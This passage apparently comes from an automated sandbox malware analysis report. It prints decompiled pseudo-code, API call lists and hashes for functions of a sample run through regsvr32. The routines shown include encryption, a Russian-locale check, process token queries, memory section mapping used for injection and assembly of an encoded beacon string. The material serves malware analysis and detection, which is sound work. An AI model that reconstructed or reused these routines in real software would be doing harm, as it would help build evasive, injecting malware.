										_t85 =  *0xd8a0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0xd8a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E00D861DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                    0x00d81511
                    0x00d81517
                    0x00d8151a
                    0x00d81520
                    0x00d81520
                    0x00d81522
                    0x00d81524
                    0x00d81527
                    0x00d8152d
                    0x00d8152e
                    0x00d8152f
                    0x00d81535
                    0x00d8153a
                    0x00d81540
                    0x00d81548
                    0x00d816a5
                    0x00d8154e
                    0x00d81550
                    0x00d81559
                    0x00d8155e
                    0x00d81570
                    0x00d81573
                    0x00d81577
                    0x00d8157e
                    0x00d81582
                    0x00d8158a
                    0x00d81690
                    0x00d81590
                    0x00d81590
                    0x00d81594
                    0x00d81595
                    0x00d81597
                    0x00d815a2
                    0x00d8167c
                    0x00d815a8
                    0x00d815a8
                    0x00d815ab
                    0x00d815b1
                    0x00d815b7
                    0x00d815b7
                    0x00d815bf
                    0x00d815c1
                    0x00d815c6
                    0x00d8166d
                    0x00d815cc
                    0x00d815d2
                    0x00d815d5
                    0x00d815d8
                    0x00d815da
                    0x00d815db
                    0x00d815e0
                    0x00d815e2
                    0x00d815e2
                    0x00d815ec
                    0x00d815f1
                    0x00d815f4
                    0x00d815f7
                    0x00d815f9
                    0x00d81602
                    0x00d8162c
                    0x00d81604
                    0x00d81615
                    0x00d81615
                    0x00d81634
                    0x00000000
                    0x00000000
                    0x00d81636
                    0x00d81639
                    0x00d8163c
                    0x00d81640
                    0x00000000
                    0x00d81642
                    0x00d81651
                    0x00d81657
                    0x00d8165f
                    0x00d8165f
                    0x00000000
                    0x00d81640
                    0x00d81644
                    0x00d8164a
                    0x00d8164f
                    0x00d81666
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d8164f
                    0x00d815c6
                    0x00d8167f
                    0x00d81682
                    0x00d81682
                    0x00d81697
                    0x00d81697
                    0x00d816af

                    APIs
                    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,00D85088,00000001,00D83ECE,00000000), ref: 00D81540
                    • memcpy.NTDLL(00D85088,00D83ECE,00000010,?,?,?,00D85088,00000001,00D83ECE,00000000,?,00D866D9,00000000,00D83ECE,?,7491C740), ref: 00D81559
                    • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 00D81582
                    • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 00D8159A
                    • memcpy.NTDLL(00000000,7491C740,050E9600,00000010), ref: 00D815EC
                    • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,050E9600,00000020,?,?,00000010), ref: 00D81615
                    • GetLastError.KERNEL32(?,?,00000010), ref: 00D81644
                    • GetLastError.KERNEL32 ref: 00D81676
                    • CryptDestroyKey.ADVAPI32(00000000), ref: 00D81682
                    • GetLastError.KERNEL32 ref: 00D8168A
                    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00D81697
                    • GetLastError.KERNEL32(?,?,?,00D85088,00000001,00D83ECE,00000000,?,00D866D9,00000000,00D83ECE,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D8169F
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                    • String ID:
                    • API String ID: 3401600162-0
                    • Opcode ID: c98006975d10eafdbc601c1074ea0005c3fab2efcd767855de55772e13b6f981
                    • Instruction ID: 80225ec2e0e6dfb4dad3a3df5c24e516f82ad84da9c4e1f58cfd4bf69912ec79
                    • Opcode Fuzzy Hash: c98006975d10eafdbc601c1074ea0005c3fab2efcd767855de55772e13b6f981
                    • Instruction Fuzzy Hash: 5E515CB5900208FFEB10EFA8DC85AAEBBB9EB44350F184525F955E6250E7708E19DB31
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 137 d71226-d71236 call d71f1e 140 d713a3-d713a4 137->140 141 d7123c-d7123e 137->141 142 d7123f-d71246 141->142 143 d71247-d71251 call d72046 142->143 146 d71253-d7126e NtQuerySystemInformation 143->146 147 d71288 143->147 148 d71273-d71286 call d71cd6 146->148 149 d71270 146->149 150 d7128f-d71293 147->150 148->150 149->148 150->143 152 d71295-d712ae call d71ac4 Sleep 150->152 152->142 156 d712b0-d712b4 152->156 157 d713a0-d713a2 156->157 158 d712ba-d712d2 GetLocaleInfoA 156->158 157->140 159 d712d4-d712e7 GetSystemDefaultUILanguage VerLanguageNameA 158->159 160 d712ec-d712f5 158->160 159->160 161 d71392-d71398 160->161 162 d712fb-d712fe 160->162 161->157 165 d7139a GetLastError 161->165 163 d71300-d7130b call d71516 162->163 164 d7134f-d71363 call d71f97 162->164 172 d7130d-d7131f GetLongPathNameW 163->172 173 d71349 163->173 170 d71365-d71373 WaitForSingleObject 164->170 171 d71389-d7138f GetLastError 164->171 165->157 174 d71375-d7137a GetExitCodeThread 170->174 175 d71380-d71387 CloseHandle 170->175 171->161 176 d71341-d71347 172->176 177 d71321-d71332 call d72046 172->177 173->164 174->175 175->161 176->164 177->176 180 d71334-d7133f GetLongPathNameW call d71cd6 177->180 180->164
                    C-Code - Quality: 79%
                    			E00D71226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E00D71F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E00D72046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E00D71CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E00D71AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E00D71F97(E00D720A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E00D71516(_t63,  &_a4) != 0) {
							 *0xd741b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0xd741b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E00D72046(_t69 + _t23);
						 *0xd741b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E00D71CD6(_t62);
						goto L21;
					}
				}
			}






















                    0x00d7122c
                    0x00d71231
                    0x00d71236
                    0x00d713a4
                    0x00d7123c
                    0x00d7123f
                    0x00d7123f
                    0x00d71243
                    0x00d71246
                    0x00d71247
                    0x00d7124d
                    0x00d71251
                    0x00d71288
                    0x00d71253
                    0x00d7125b
                    0x00d71261
                    0x00d71263
                    0x00d71268
                    0x00d7126e
                    0x00d71270
                    0x00d71270
                    0x00d71277
                    0x00d7127d
                    0x00d7127d
                    0x00d71281
                    0x00d71281
                    0x00d7128f
                    0x00d71296
                    0x00d7129f
                    0x00d712a2
                    0x00d712a8
                    0x00d712ab
                    0x00d712b4
                    0x00d713a0
                    0x00000000
                    0x00d713a2
                    0x00d712c7
                    0x00d712ca
                    0x00d712d2
                    0x00d712d4
                    0x00d712df
                    0x00d712e7
                    0x00d712e7
                    0x00d712f5
                    0x00d71392
                    0x00d71392
                    0x00d71398
                    0x00d7139a
                    0x00d7139a
                    0x00000000
                    0x00d712fb
                    0x00d712fe
                    0x00d7134f
                    0x00d7134f
                    0x00d7135f
                    0x00d71363
                    0x00d7138f
                    0x00d71365
                    0x00d71368
                    0x00d7136e
                    0x00d71373
                    0x00d7137a
                    0x00d7137a
                    0x00d71381
                    0x00d71381
                    0x00000000
                    0x00d71363
                    0x00d7130b
                    0x00d71349
                    0x00000000
                    0x00d71349
                    0x00d7130d
                    0x00d71312
                    0x00d7131b
                    0x00d7131f
                    0x00d71341
                    0x00d71341
                    0x00000000
                    0x00d71341
                    0x00d71321
                    0x00d71326
                    0x00d7132b
                    0x00d71332
                    0x00000000
                    0x00000000
                    0x00d71337
                    0x00d7133a
                    0x00000000
                    0x00d7133a
                    0x00d712f5

                    APIs
                      • Part of subcall function 00D71F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00D71231), ref: 00D71F2D
                      • Part of subcall function 00D71F1E: GetVersion.KERNEL32 ref: 00D71F3C
                      • Part of subcall function 00D71F1E: GetCurrentProcessId.KERNEL32 ref: 00D71F58
                      • Part of subcall function 00D71F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00D71F71
                      • Part of subcall function 00D72046: RtlAllocateHeap.NTDLL(00000000,?,00D7124D,00000030,74CB63F0,00000000), ref: 00D72052
                    • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 00D7125B
                    • Sleep.KERNEL32(00000000,00000000,00000030,74CB63F0,00000000), ref: 00D712A2
                    • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 00D712CA
                    • GetSystemDefaultUILanguage.KERNEL32 ref: 00D712D4
                    • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 00D712E7
                    • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00D71319
                    • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00D71337
                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00D720A4,?,00000000), ref: 00D71368
                    • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 00D7137A
                    • CloseHandle.KERNEL32(00000000), ref: 00D71381
                    • GetLastError.KERNEL32(00D720A4,?,00000000), ref: 00D71389
                    • GetLastError.KERNEL32 ref: 00D7139A
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                    • String ID:
                    • API String ID: 1327471650-0
                    • Opcode ID: 24c261f439195c6ae0fdfa547b3b79f0355f128b8abe260d883974e91b65269b
                    • Instruction ID: 5a23306e59468ec85f664e8ad4a398107172e4bebab5cda168715ea671c9a5d3
                    • Opcode Fuzzy Hash: 24c261f439195c6ae0fdfa547b3b79f0355f128b8abe260d883974e91b65269b
                    • Instruction Fuzzy Hash: EC41B379900724AADB21AFA9DC45ABE7ABCEF04750F148216F909D7240FB34DE40D7B1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 38%
                    			E00D8421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E00D833DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E00D861DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                    0x00d8422c
                    0x00d8422d
                    0x00d8422e
                    0x00d8422f
                    0x00d84230
                    0x00d84234
                    0x00d8423b
                    0x00d8424a
                    0x00d8424d
                    0x00d84250
                    0x00d84257
                    0x00d8425a
                    0x00d8425d
                    0x00d84260
                    0x00d84263
                    0x00d8426e
                    0x00d84270
                    0x00d84279
                    0x00d84281
                    0x00d84283
                    0x00d84295
                    0x00d8429f
                    0x00d842a3
                    0x00d842b2
                    0x00d842b6
                    0x00d842bf
                    0x00d842c7
                    0x00d842c7
                    0x00d842c9
                    0x00d842c9
                    0x00d842d1
                    0x00d842d7
                    0x00d842db
                    0x00d842db
                    0x00d842e6

                    APIs
                    • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 00D84266
                    • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00D84279
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00D84295
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00D842B2
                    • memcpy.NTDLL(?,00000000,0000001C), ref: 00D842BF
                    • NtClose.NTDLL(?), ref: 00D842D1
                    • NtClose.NTDLL(00000000), ref: 00D842DB
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                    • String ID:
                    • API String ID: 2575439697-0
                    • Opcode ID: 02b00f252b515dc055c65ae985a1929fbc24cf0e804551f374d4604f80db3617
                    • Instruction ID: 0e04f1b95b513f5b926be4e0f3fc6138ea5a480907cbe17bbdd6ebf006bfb756
                    • Opcode Fuzzy Hash: 02b00f252b515dc055c65ae985a1929fbc24cf0e804551f374d4604f80db3617
                    • Instruction Fuzzy Hash: 16210572910229BBDB01AF95CC85AEEBFBDEB08750F104022F905E6260D7718A449BB4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 72%
                    			E00D71E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E00D7205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                    0x00d71e7f
                    0x00d71e86
                    0x00d71e87
                    0x00d71e88
                    0x00d71e89
                    0x00d71e8a
                    0x00d71e9b
                    0x00d71e9f
                    0x00d71eb3
                    0x00d71eb6
                    0x00d71eb9
                    0x00d71ec0
                    0x00d71ec3
                    0x00d71eca
                    0x00d71ecd
                    0x00d71ed0
                    0x00d71ed3
                    0x00d71ed8
                    0x00d71f13
                    0x00d71eda
                    0x00d71edd
                    0x00d71ee3
                    0x00d71ee8
                    0x00d71eec
                    0x00d71f0a
                    0x00d71eee
                    0x00d71ef5
                    0x00d71f03
                    0x00d71f03
                    0x00d71eec
                    0x00d71f1b

                    APIs
                    • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 00D71ED3
                      • Part of subcall function 00D7205B: NtMapViewOfSection.NTDLL(00000000,000000FF,00D71EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,00D71EE8,?), ref: 00D72088
                    • memset.NTDLL ref: 00D71EF5
                    Strings
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: Section$CreateViewmemset
                    • String ID: @
                    • API String ID: 2533685722-2766056989
                    • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                    • Instruction ID: f1bdc25f0d2452b63e551da466eb41a2a823ba74eacc0fcd75792c816a3b777b
                    • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                    • Instruction Fuzzy Hash: 60211DB6D00209AFCB11DFA9C8849EEFBB9EF48354F108569E556F3210E731AA458B60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D7205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E00D7205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                    0x00d7206d
                    0x00d72073
                    0x00d72081
                    0x00d72088
                    0x00d7208d
                    0x00d72093
                    0x00000000
                    0x00d72094
                    0x00000000

                    APIs
                    • NtMapViewOfSection.NTDLL(00000000,000000FF,00D71EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,00D71EE8,?), ref: 00D72088
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: SectionView
                    • String ID:
                    • API String ID: 1323581903-0
                    • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                    • Instruction ID: 501f34988a085777083f3158733dcf32c68bb0beb3ba4d205e54c9bc42d35bf4
                    • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                    • Instruction Fuzzy Hash: E6F012B690020CBFDB119FA5CC85CAFBBBDEB44394B108939B196E1090D6309E089A70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D83CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 69%
                    			E00D83CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0xd8a3e0; // 0x50e9be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0xd8a2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0xd8a018; // 0x14d7c998
					asm("bswap eax");
					_t34 =  *0xd8a014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0xd8a010; // 0xd8d2f808
					asm("bswap eax");
					_t36 = E00D8A00C; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0xd8a348; // 0x435d5a8
					_t3 = _t37 + 0xd8b5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0xd8a02c,  *0xd8a004, _t112);
					_t40 = E00D8467F();
					_t41 =  *0xd8a348; // 0x435d5a8
					_t4 = _t41 + 0xd8b575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0xd8a348; // 0x435d5a8
						_t8 = _t93 + 0xd8b508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0xd8a348; // 0x435d5a8
					_t10 = _t45 + 0xd8b246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E00D8472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0xd8a348; // 0x435d5a8
						_t12 = _t88 + 0xd8b8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0xd8a2d8, 0, _t105);
					}
					_t106 = E00D81340();
					if(_t106 != 0) {
						_t83 =  *0xd8a348; // 0x435d5a8
						_t14 = _t83 + 0xd8b8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0xd8a2d8, 0, _t106);
					}
					_t107 =  *0xd8a3cc; // 0x50e9600
					_a20 = E00D86B59(0xd8a00a, _t107 + 4);
					_t53 =  *0xd8a36c; // 0x50e95b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0xd8a348; // 0x435d5a8
						_t17 = _t80 + 0xd8b8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0xd8a2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E00D82915(GetTickCount());
							_t59 =  *0xd8a3cc; // 0x50e9600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0xd8a3cc; // 0x50e9600
							__imp__(_t63 + 0x40);
							_t65 =  *0xd8a3cc; // 0x50e9600
							_t66 = E00D86675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0xd89280);
								_push(_t119);
								_t71 = E00D87563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E00D821A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E00D863F6();
									}
									HeapFree( *0xd8a2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0xd8a2d8, _t109, _t119);
							}
							RtlFreeHeap( *0xd8a2d8, _t109, _t116); // executed
						}
						HeapFree( *0xd8a2d8, _t109, _a12);
					}
					RtlFreeHeap( *0xd8a2d8, _t109, _t98); // executed
				}
				return _v16;
			}


























































                    0x00d83ce0
                    0x00d83ce0
                    0x00d83ce0
                    0x00d83cf5
                    0x00d83cf7
                    0x00d83cfc
                    0x00d83d00
                    0x00d83d08
                    0x00d83d0e
                    0x00d83d12
                    0x00d83d1a
                    0x00d83d22
                    0x00d83d22
                    0x00d83d24
                    0x00d83d30
                    0x00d83d3f
                    0x00d83d44
                    0x00d83d47
                    0x00d83d4c
                    0x00d83d4f
                    0x00d83d54
                    0x00d83d57
                    0x00d83d63
                    0x00d83d70
                    0x00d83d72
                    0x00d83d78
                    0x00d83d7d
                    0x00d83d88
                    0x00d83d8a
                    0x00d83d8d
                    0x00d83d93
                    0x00d83d95
                    0x00d83d9e
                    0x00d83da9
                    0x00d83dab
                    0x00d83dae
                    0x00d83dae
                    0x00d83db0
                    0x00d83db5
                    0x00d83dc1
                    0x00d83dc3
                    0x00d83dc6
                    0x00d83dc8
                    0x00d83dcd
                    0x00d83dd1
                    0x00d83dd3
                    0x00d83dd8
                    0x00d83de4
                    0x00d83de6
                    0x00d83df2
                    0x00d83df4
                    0x00d83df4
                    0x00d83dff
                    0x00d83e03
                    0x00d83e05
                    0x00d83e0a
                    0x00d83e16
                    0x00d83e18
                    0x00d83e24
                    0x00d83e26
                    0x00d83e26
                    0x00d83e2c
                    0x00d83e3f
                    0x00d83e43
                    0x00d83e48
                    0x00d83e4c
                    0x00d83e4f
                    0x00d83e54
                    0x00d83e5e
                    0x00d83e60
                    0x00d83e67
                    0x00d83e7f
                    0x00d83e83
                    0x00d83e8f
                    0x00d83e94
                    0x00d83e9d
                    0x00d83eae
                    0x00d83eb2
                    0x00d83ebb
                    0x00d83ec1
